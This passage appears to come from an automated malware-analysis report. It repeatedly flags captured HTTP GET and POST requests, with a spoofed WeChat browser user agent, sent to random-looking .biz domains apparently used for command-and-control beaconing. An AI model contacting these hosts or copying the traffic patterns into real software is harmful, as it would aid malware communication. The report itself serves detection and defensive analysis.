Chrome/39.0.2171.95 Safari/537.36 MicroMessenger/6.5.2.501 NetType/WIFI WindowsWechat QBCore/3.43.884.400 QQBrowser/9.0.2524.400Host: www.anpmnmxo.biz" Contains base64 string in header "like" in header "GET /ytenqmpsyaxmintj HTTP/1.1Cache-Control: no-cacheConnection: Keep-AlivePragma: no-cacheUser-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36 MicroMessenger/6.5.2.501 NetType/WIFI WindowsWechat QBCore/3.43.884.400 QQBrowser/9.0.2524.400Host: www.anpmnmxo.biz" Contains base64 string in header "2171" in header "GET /ytenqmpsyaxmintj HTTP/1.1Cache-Control: no-cacheConnection: Keep-AlivePragma: no-cacheUser-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36 MicroMessenger/6.5.2.501 NetType/WIFI WindowsWechat QBCore/3.43.884.400 QQBrowser/9.0.2524.400Host: www.anpmnmxo.biz" Contains base64 string in header "MicroMessenger/6" in header "GET /ytenqmpsyaxmintj HTTP/1.1Cache-Control: no-cacheConnection: Keep-AlivePragma: no-cacheUser-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36 MicroMessenger/6.5.2.501 NetType/WIFI WindowsWechat QBCore/3.43.884.400 QQBrowser/9.0.2524.400Host: www.anpmnmxo.biz" Contains base64 string in header "NetType/WIFI" in header "GET /ytenqmpsyaxmintj HTTP/1.1Cache-Control: no-cacheConnection: Keep-AlivePragma: no-cacheUser-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36 MicroMessenger/6.5.2.501 NetType/WIFI WindowsWechat QBCore/3.43.884.400 QQBrowser/9.0.2524.400Host: www.anpmnmxo.biz" Contains base64 string in header "QBCore/3" in header "GET /ytenqmpsyaxmintj HTTP/1.1Cache-Control: no-cacheConnection: Keep-AlivePragma: no-cacheUser-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36 MicroMessenger/6.5.2.501 NetType/WIFI WindowsWechat QBCore/3.43.884.400 QQBrowser/9.0.2524.400Host: www.anpmnmxo.biz" Contains base64 string in header "2524" in header "GET /ytenqmpsyaxmintj HTTP/1.1Cache-Control: no-cacheConnection: Keep-AlivePragma: no-cacheUser-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36 MicroMessenger/6.5.2.501 NetType/WIFI WindowsWechat QBCore/3.43.884.400 QQBrowser/9.0.2524.400Host: www.anpmnmxo.biz" Contains base64 string in header "anpmnmxo" in header "GET /ytenqmpsyaxmintj HTTP/1.1Cache-Control: no-cacheConnection: Keep-AlivePragma: no-cacheUser-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36 MicroMessenger/6.5.2.501 NetType/WIFI WindowsWechat QBCore/3.43.884.400 QQBrowser/9.0.2524.400Host: www.anpmnmxo.biz" Contains base64 string in header "POST" in header "POST /iydmmkmewuttg HTTP/1.1Cache-Control: no-cacheConnection: Keep-AlivePragma: no-cacheHost: knjghuig.bizUser-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36 MicroMessenger/6.5.2.501 NetType/WIFI WindowsWechat QBCore/3.43.884.400 QQBrowser/9.0.2524.400Content-Length: 860" Contains base64 string in header "Keep" in header "POST /iydmmkmewuttg HTTP/1.1Cache-Control: no-cacheConnection: Keep-AlivePragma: no-cacheHost: knjghuig.bizUser-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36 MicroMessenger/6.5.2.501 NetType/WIFI WindowsWechat QBCore/3.43.884.400 QQBrowser/9.0.2524.400Content-Length: 860" Contains base64 string in header "knjghuig" in header "POST /iydmmkmewuttg HTTP/1.1Cache-Control: no-cacheConnection: Keep-AlivePragma: no-cacheHost: knjghuig.bizUser-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36 MicroMessenger/6.5.2.501 NetType/WIFI WindowsWechat QBCore/3.43.884.400 QQBrowser/9.0.2524.400Content-Length: 860" Contains base64 string in header "like" in header "POST /iydmmkmewuttg HTTP/1.1Cache-Control: no-cacheConnection: Keep-AlivePragma: no-cacheHost: knjghuig.bizUser-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36 MicroMessenger/6.5.2.501 NetType/WIFI WindowsWechat QBCore/3.43.884.400 QQBrowser/9.0.2524.400Content-Length: 860" Contains base64 string in header "2171" in header "POST /iydmmkmewuttg HTTP/1.1Cache-Control: no-cacheConnection: Keep-AlivePragma: no-cacheHost: knjghuig.bizUser-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36 MicroMessenger/6.5.2.501 NetType/WIFI WindowsWechat QBCore/3.43.884.400 QQBrowser/9.0.2524.400Content-Length: 860" Contains base64 string in header "MicroMessenger/6" in header "POST /iydmmkmewuttg HTTP/1.1Cache-Control: no-cacheConnection: Keep-AlivePragma: no-cacheHost: knjghuig.bizUser-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36 MicroMessenger/6.5.2.501 NetType/WIFI WindowsWechat QBCore/3.43.884.400 QQBrowser/9.0.2524.400Content-Length: 860" Contains base64 string in header "NetType/WIFI" in header "POST /iydmmkmewuttg HTTP/1.1Cache-Control: no-cacheConnection: Keep-AlivePragma: no-cacheHost: knjghuig.bizUser-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36 MicroMessenger/6.5.2.501 NetType/WIFI WindowsWechat QBCore/3.43.884.400 QQBrowser/9.0.2524.400Content-Length: 860" Contains base64 string in header "QBCore/3" in header "POST /iydmmkmewuttg HTTP/1.1Cache-Control: no-cacheConnection: Keep-AlivePragma: no-cacheHost: knjghuig.bizUser-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36 MicroMessenger/6.5.2.501 NetType/WIFI WindowsWechat QBCore/3.43.884.400 QQBrowser/9.0.2524.400Content-Length: 860" Contains base64 string in header "2524" in header "POST /iydmmkmewuttg HTTP/1.1Cache-Control: no-cacheConnection: Keep-AlivePragma: no-cacheHost: knjghuig.bizUser-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36 MicroMessenger/6.5.2.501 NetType/WIFI WindowsWechat QBCore/3.43.884.400 QQBrowser/9.0.2524.400Content-Length: 860" Contains base64 string in header "POST" in header "POST /alkurfht HTTP/1.1Cache-Control: no-cacheConnection: Keep-AlivePragma: no-cacheHost: lpuegx.bizUser-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36 MicroMessenger/6.5.2.501 NetType/WIFI WindowsWechat QBCore/3.43.884.400 QQBrowser/9.0.2524.400Content-Length: 858" Contains base64 string in header "Keep" in header "POST /alkurfht HTTP/1.1Cache-Control: no-cacheConnection: Keep-AlivePragma: no-cacheHost: lpuegx.bizUser-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36 MicroMessenger/6.5.2.501 NetType/WIFI WindowsWechat QBCore/3.43.884.400 QQBrowser/9.0.2524.400Content-Length: 858" Contains base64 string in header "like" in header "POST /alkurfht HTTP/1.1Cache-Control: no-cacheConnection: Keep-AlivePragma: no-cacheHost: lpuegx.bizUser-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36 MicroMessenger/6.5.2.501 NetType/WIFI WindowsWechat QBCore/3.43.884.400 QQBrowser/9.0.2524.400Content-Length: 858" Contains base64 string in header "2171" in header "POST /alkurfht HTTP/1.1Cache-Control: no-cacheConnection: Keep-AlivePragma: no-cacheHost: lpuegx.bizUser-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36 MicroMessenger/6.5.2.501 NetType/WIFI WindowsWechat QBCore/3.43.884.400 QQBrowser/9.0.2524.400Content-Length: 858" Contains base64 string in header "MicroMessenger/6" in header "POST /alkurfht HTTP/1.1Cache-Control: no-cacheConnection: Keep-AlivePragma: no-cacheHost: lpuegx.bizUser-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36 MicroMessenger/6.5.2.501 NetType/WIFI WindowsWechat QBCore/3.43.884.400 QQBrowser/9.0.2524.400Content-Length: 858" Contains base64 string in header "NetType/WIFI" in header "POST /alkurfht HTTP/1.1Cache-Control: no-cacheConnection: Keep-AlivePragma: no-cacheHost: lpuegx.bizUser-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36 MicroMessenger/6.5.2.501 NetType/WIFI WindowsWechat QBCore/3.43.884.400 QQBrowser/9.0.2524.400Content-Length: 858" Contains base64 string in header "QBCore/3" in header "POST /alkurfht HTTP/1.1Cache-Control: no-cacheConnection: Keep-AlivePragma: no-cacheHost: lpuegx.bizUser-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36 MicroMessenger/6.5.2.501 NetType/WIFI WindowsWechat QBCore/3.43.884.400 QQBrowser/9.0.2524.400Content-Length: 858" Contains base64 string in header "2524" in header "POST /alkurfht HTTP/1.1Cache-Control: no-cacheConnection: Keep-AlivePragma: no-cacheHost: lpuegx.bizUser-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36 MicroMessenger/6.5.2.501 NetType/WIFI WindowsWechat QBCore/3.43.884.400 QQBrowser/9.0.2524.400Content-Length: 858" Contains base64 string in header "POST" in header "POST /nnnbwobrm HTTP/1.1Cache-Control: no-cacheConnection: Keep-AlivePragma: no-cacheHost: anpmnmxo.bizUser-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36 MicroMessenger/6.5.2.501 NetType/WIFI WindowsWechat QBCore/3.43.884.400 QQBrowser/9.0.2524.400Content-Length: 860" Contains base64 string in header "Keep" in header "POST /nnnbwobrm HTTP/1.1Cache-Control: no-cacheConnection: Keep-AlivePragma: no-cacheHost: anpmnmxo.bizUser-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36 MicroMessenger/6.5.2.501 NetType/WIFI WindowsWechat QBCore/3.43.884.400 QQBrowser/9.0.2524.400Content-Length: 860" Contains base64 string in header "anpmnmxo" in header "POST /nnnbwobrm HTTP/1.1Cache-Control: no-cacheConnection: Keep-AlivePragma: no-cacheHost: anpmnmxo.bizUser-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36 MicroMessenger/6.5.2.501 NetType/WIFI WindowsWechat QBCore/3.43.884.400 QQBrowser/9.0.2524.400Content-Length: 860" Contains base64 string in header "like" in header "POST /nnnbwobrm HTTP/1.1Cache-Control: no-cacheConnection: Keep-AlivePragma: no-cacheHost: anpmnmxo.bizUser-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36 MicroMessenger/6.5.2.501 NetType/WIFI WindowsWechat QBCore/3.43.884.400 QQBrowser/9.0.2524.400Content-Length: 860" Contains base64 string in header "2171" in header "POST /nnnbwobrm HTTP/1.1Cache-Control: no-cacheConnection: Keep-AlivePragma: no-cacheHost: anpmnmxo.bizUser-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36 MicroMessenger/6.5.2.501 NetType/WIFI WindowsWechat QBCore/3.43.884.400 QQBrowser/9.0.2524.400Content-Length: 860" Contains base64 string in header "MicroMessenger/6" in header "POST /nnnbwobrm HTTP/1.1Cache-Control: no-cacheConnection: Keep-AlivePragma: no-cacheHost: anpmnmxo.bizUser-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36 MicroMessenger/6.5.2.501 NetType/WIFI WindowsWechat QBCore/3.43.884.400 QQBrowser/9.0.2524.400Content-Length: 860" Contains base64 string in header "NetType/WIFI" in header "POST /nnnbwobrm HTTP/1.1Cache-Control: no-cacheConnection: Keep-AlivePragma: no-cacheHost: anpmnmxo.bizUser-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36 MicroMessenger/6.5.2.501 NetType/WIFI WindowsWechat QBCore/3.43.884.400 QQBrowser/9.0.2524.400Content-Length: 860" Contains base64 string in header "QBCore/3" in header "POST /nnnbwobrm HTTP/1.1Cache-Control: no-cacheConnection: Keep-AlivePragma: no-cacheHost: anpmnmxo.bizUser-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36 MicroMessenger/6.5.2.501 NetType/WIFI WindowsWechat QBCore/3.43.884.400 QQBrowser/9.0.2524.400Content-Length: 860" Contains base64 string in header "2524" in header "POST /nnnbwobrm HTTP/1.1Cache-Control: no-cacheConnection: Keep-AlivePragma: no-cacheHost: anpmnmxo.bizUser-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36 MicroMessenger/6.5.2.501 NetType/WIFI WindowsWechat QBCore/3.43.884.400 QQBrowser/9.0.2524.400Content-Length: 860" Contains base64 string in header "Keep" in header "GET /nnnbwobrm HTTP/1.1Cache-Control: no-cacheConnection: Keep-AlivePragma: no-cacheUser-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36 MicroMessenger/6.5.2.501 NetType/WIFI WindowsWechat QBCore/3.43.884.400 QQBrowser/9.0.2524.400Host: www.anpmnmxo.biz" Contains base64 string in header "like" in header "GET /nnnbwobrm HTTP/1.1Cache-Control: no-cacheConnection: Keep-AlivePragma: no-cacheUser-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36 MicroMessenger/6.5.2.501 NetType/WIFI WindowsWechat QBCore/3.43.884.400 QQBrowser/9.0.2524.400Host: www.anpmnmxo.biz" Contains base64 string in header "2171" in header "GET /nnnbwobrm HTTP/1.1Cache-Control: no-cacheConnection: Keep-AlivePragma: no-cacheUser-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36 MicroMessenger/6.5.2.501 NetType/WIFI WindowsWechat QBCore/3.43.884.400 QQBrowser/9.0.2524.400Host: www.anpmnmxo.biz" Contains base64 string in header "MicroMessenger/6" in header "GET /nnnbwobrm HTTP/1.1Cache-Control: no-cacheConnection: Keep-AlivePragma: no-cacheUser-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36 MicroMessenger/6.5.2.501 NetType/WIFI WindowsWechat QBCore/3.43.884.400 QQBrowser/9.0.2524.400Host: www.anpmnmxo.biz" Contains base64 string in header "NetType/WIFI" in header "GET /nnnbwobrm HTTP/1.1Cache-Control: no-cacheConnection: Keep-AlivePragma: no-cacheUser-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36 MicroMessenger/6.5.2.501 NetType/WIFI WindowsWechat QBCore/3.43.884.400 QQBrowser/9.0.2524.400Host: www.anpmnmxo.biz" Contains base64 string in header "QBCore/3" in header "GET /nnnbwobrm HTTP/1.1Cache-Control: no-cacheConnection: Keep-AlivePragma: no-cacheUser-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36 MicroMessenger/6.5.2.501 NetType/WIFI WindowsWechat QBCore/3.43.884.400 QQBrowser/9.0.2524.400Host: www.anpmnmxo.biz" Contains base64 string in header "2524" in header "GET /nnnbwobrm HTTP/1.1Cache-Control: no-cacheConnection: Keep-AlivePragma: no-cacheUser-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36 MicroMessenger/6.5.2.501 NetType/WIFI WindowsWechat QBCore/3.43.884.400 QQBrowser/9.0.2524.400Host: www.anpmnmxo.biz" Contains base64 string in header "anpmnmxo" in header "GET /nnnbwobrm HTTP/1.1Cache-Control: no-cacheConnection: Keep-AlivePragma: no-cacheUser-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36 MicroMessenger/6.5.2.501 NetType/WIFI WindowsWechat QBCore/3.43.884.400 QQBrowser/9.0.2524.400Host: www.anpmnmxo.biz" Contains base64 string in header "POST" in header "POST /gteg HTTP/1.1Cache-Control: no-cacheConnection: Keep-AlivePragma: no-cacheHost: vjaxhpbji.bizUser-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36 MicroMessenger/6.5.2.501 NetType/WIFI WindowsWechat QBCore/3.43.884.400 QQBrowser/9.0.2524.400Content-Length: 858" Contains base64 string in header "Keep" in header "POST /gteg HTTP/1.1Cache-Control: no-cacheConnection: Keep-AlivePragma: no-cacheHost: vjaxhpbji.bizUser-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36 MicroMessenger/6.5.2.501 NetType/WIFI WindowsWechat QBCore/3.43.884.400 QQBrowser/9.0.2524.400Content-Length: 858" Contains base64 string in header "like" in header "POST /gteg HTTP/1.1Cache-Control: no-cacheConnection: Keep-AlivePragma: no-cacheHost: vjaxhpbji.bizUser-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36 MicroMessenger/6.5.2.501 NetType/WIFI WindowsWechat QBCore/3.43.884.400 QQBrowser/9.0.2524.400Content-Length: 858" Contains base64 string in header "2171" in header "POST /gteg HTTP/1.1Cache-Control: no-cacheConnection: Keep-AlivePragma: no-cacheHost: vjaxhpbji.bizUser-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36 MicroMessenger/6.5.2.501 NetType/WIFI WindowsWechat QBCore/3.43.884.400 QQBrowser/9.0.2524.400Content-Length: 858" Contains base64 string in header "MicroMessenger/6" in header "POST /gteg HTTP/1.1Cache-Control: no-cacheConnection: Keep-AlivePragma: no-cacheHost: vjaxhpbji.bizUser-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36 MicroMessenger/6.5.2.501 NetType/WIFI WindowsWechat QBCore/3.43.884.400 QQBrowser/9.0.2524.400Content-Length: 858" Contains base64 string in header "NetType/WIFI" in header "POST /gteg HTTP/1.1Cache-Control: no-cacheConnection: Keep-AlivePragma: no-cacheHost: vjaxhpbji.bizUser-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36 MicroMessenger/6.5.2.501 NetType/WIFI WindowsWechat QBCore/3.43.884.400 QQBrowser/9.0.2524.400Content-Length: 858" Contains base64 string in header "QBCore/3" in header "POST /gteg HTTP/1.1Cache-Control: no-cacheConnection: Keep-AlivePragma: no-cacheHost: vjaxhpbji.bizUser-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36 MicroMessenger/6.5.2.501 NetType/WIFI WindowsWechat QBCore/3.43.884.400 QQBrowser/9.0.2524.400Content-Length: 858" Contains base64 string in header "2524" in header "POST /gteg HTTP/1.1Cache-Control: no-cacheConnection: Keep-AlivePragma: no-cacheHost: vjaxhpbji.bizUser-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36 MicroMessenger/6.5.2.501 NetType/WIFI WindowsWechat QBCore/3.43.884.400 QQBrowser/9.0.2524.400Content-Length: 858" Contains base64 string in header "POST" in header "POST /hqfyx HTTP/1.1Cache-Control: no-cacheConnection: Keep-AlivePragma: no-cacheHost: anpmnmxo.bizUser-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36 MicroMessenger/6.5.2.501 NetType/WIFI WindowsWechat QBCore/3.43.884.400 QQBrowser/9.0.2524.400Content-Length: 860" Contains base64 string in header "Keep" in header "POST /hqfyx HTTP/1.1Cache-Control: no-cacheConnection: Keep-AlivePragma: no-cacheHost: anpmnmxo.bizUser-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36 MicroMessenger/6.5.2.501 NetType/WIFI WindowsWechat QBCore/3.43.884.400 QQBrowser/9.0.2524.400Content-Length: 860" Contains base64 string in header "anpmnmxo" in header "POST /hqfyx HTTP/1.1Cache-Control: no-cacheConnection: Keep-AlivePragma: no-cacheHost: anpmnmxo.bizUser-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36 MicroMessenger/6.5.2.501 NetType/WIFI WindowsWechat QBCore/3.43.884.400 QQBrowser/9.0.2524.400Content-Length: 860" Contains base64 string in header "like" in header "POST /hqfyx HTTP/1.1Cache-Control: no-cacheConnection: Keep-AlivePragma: no-cacheHost: anpmnmxo.bizUser-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36 MicroMessenger/6.5.2.501 NetType/WIFI WindowsWechat QBCore/3.43.884.400 QQBrowser/9.0.2524.400Content-Length: 860" Contains base64 string in header "2171" in header "POST /hqfyx HTTP/1.1Cache-Control: no-cacheConnection: Keep-AlivePragma: no-cacheHost: anpmnmxo.bizUser-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36 MicroMessenger/6.5.2.501 NetType/WIFI WindowsWechat QBCore/3.43.884.400 QQBrowser/9.0.2524.400Content-Length: 860" Contains base64 string in header "MicroMessenger/6" in header "POST /hqfyx HTTP/1.1Cache-Control: no-cacheConnection: Keep-AlivePragma: no-cacheHost: anpmnmxo.bizUser-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36 MicroMessenger/6.5.2.501 NetType/WIFI WindowsWechat QBCore/3.43.884.400 QQBrowser/9.0.2524.400Content-Length: 860" Contains base64 string in header "NetType/WIFI" in header "POST /hqfyx HTTP/1.1Cache-Control: no-cacheConnection: Keep-AlivePragma: no-cacheHost: anpmnmxo.bizUser-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36 MicroMessenger/6.5.2.501 NetType/WIFI WindowsWechat QBCore/3.43.884.400 QQBrowser/9.0.2524.400Content-Length: 860" Contains base64 string in header "QBCore/3" in header "POST /hqfyx HTTP/1.1Cache-Control: no-cacheConnection: Keep-AlivePragma: no-cacheHost: anpmnmxo.bizUser-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36 MicroMessenger/6.5.2.501 NetType/WIFI WindowsWechat QBCore/3.43.884.400 QQBrowser/9.0.2524.400Content-Length: 860" Contains base64 string in header "2524" in header "POST /hqfyx HTTP/1.1Cache-Control: no-cacheConnection: Keep-AlivePragma: no-cacheHost: anpmnmxo.bizUser-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36 MicroMessenger/6.5.2.501 NetType/WIFI WindowsWechat QBCore/3.43.884.400 QQBrowser/9.0.2524.400Content-Length: 860" Contains base64 string in header "Keep" in header "GET /hqfyx HTTP/1.1Cache-Control: no-cacheConnection: Keep-AlivePragma: no-cacheUser-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36 MicroMessenger/6.5.2.501 NetType/WIFI WindowsWechat QBCore/3.43.884.400 QQBrowser/9.0.2524.400Host: www.anpmnmxo.biz" Contains base64 string in header "like" in header "GET /hqfyx HTTP/1.1Cache-Control: no-cacheConnection: Keep-AlivePragma: no-cacheUser-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36 MicroMessenger/6.5.2.501 NetType/WIFI WindowsWechat QBCore/3.43.884.400 QQBrowser/9.0.2524.400Host: www.anpmnmxo.biz" Contains base64 string in header "2171" in header "GET /hqfyx HTTP/1.1Cache-Control: no-cacheConnection: Keep-AlivePragma: no-cacheUser-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36 MicroMessenger/6.5.2.501 NetType/WIFI WindowsWechat QBCore/3.43.884.400 QQBrowser/9.0.2524.400Host: www.anpmnmxo.biz" Contains base64 string in header "MicroMessenger/6" in header "GET /hqfyx HTTP/1.1Cache-Control: no-cacheConnection: Keep-AlivePragma: no-cacheUser-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36 MicroMessenger/6.5.2.501 NetType/WIFI WindowsWechat QBCore/3.43.884.400 QQBrowser/9.0.2524.400Host: www.anpmnmxo.biz" Contains base64 string in header "NetType/WIFI" in header "GET /hqfyx HTTP/1.1Cache-Control: no-cacheConnection: Keep-AlivePragma: no-cacheUser-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36 MicroMessenger/6.5.2.501 NetType/WIFI WindowsWechat QBCore/3.43.884.400 QQBrowser/9.0.2524.400Host: www.anpmnmxo.biz" Contains base64 string in header "QBCore/3" in header "GET /hqfyx HTTP/1.1Cache-Control: no-cacheConnection: Keep-AlivePragma: no-cacheUser-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36 MicroMessenger/6.5.2.501 NetType/WIFI WindowsWechat QBCore/3.43.884.400 QQBrowser/9.0.2524.400Host: www.anpmnmxo.biz" Contains base64 string in header "2524" in header "GET /hqfyx HTTP/1.1Cache-Control: no-cacheConnection: Keep-AlivePragma: no-cacheUser-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36 MicroMessenger/6.5.2.501 NetType/WIFI WindowsWechat QBCore/3.43.884.400 QQBrowser/9.0.2524.400Host: www.anpmnmxo.biz" Contains base64 string in header "anpmnmxo" in header "GET /hqfyx HTTP/1.1Cache-Control: no-cacheConnection: Keep-AlivePragma: no-cacheUser-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36 MicroMessenger/6.5.2.501 NetType/WIFI WindowsWechat QBCore/3.43.884.400 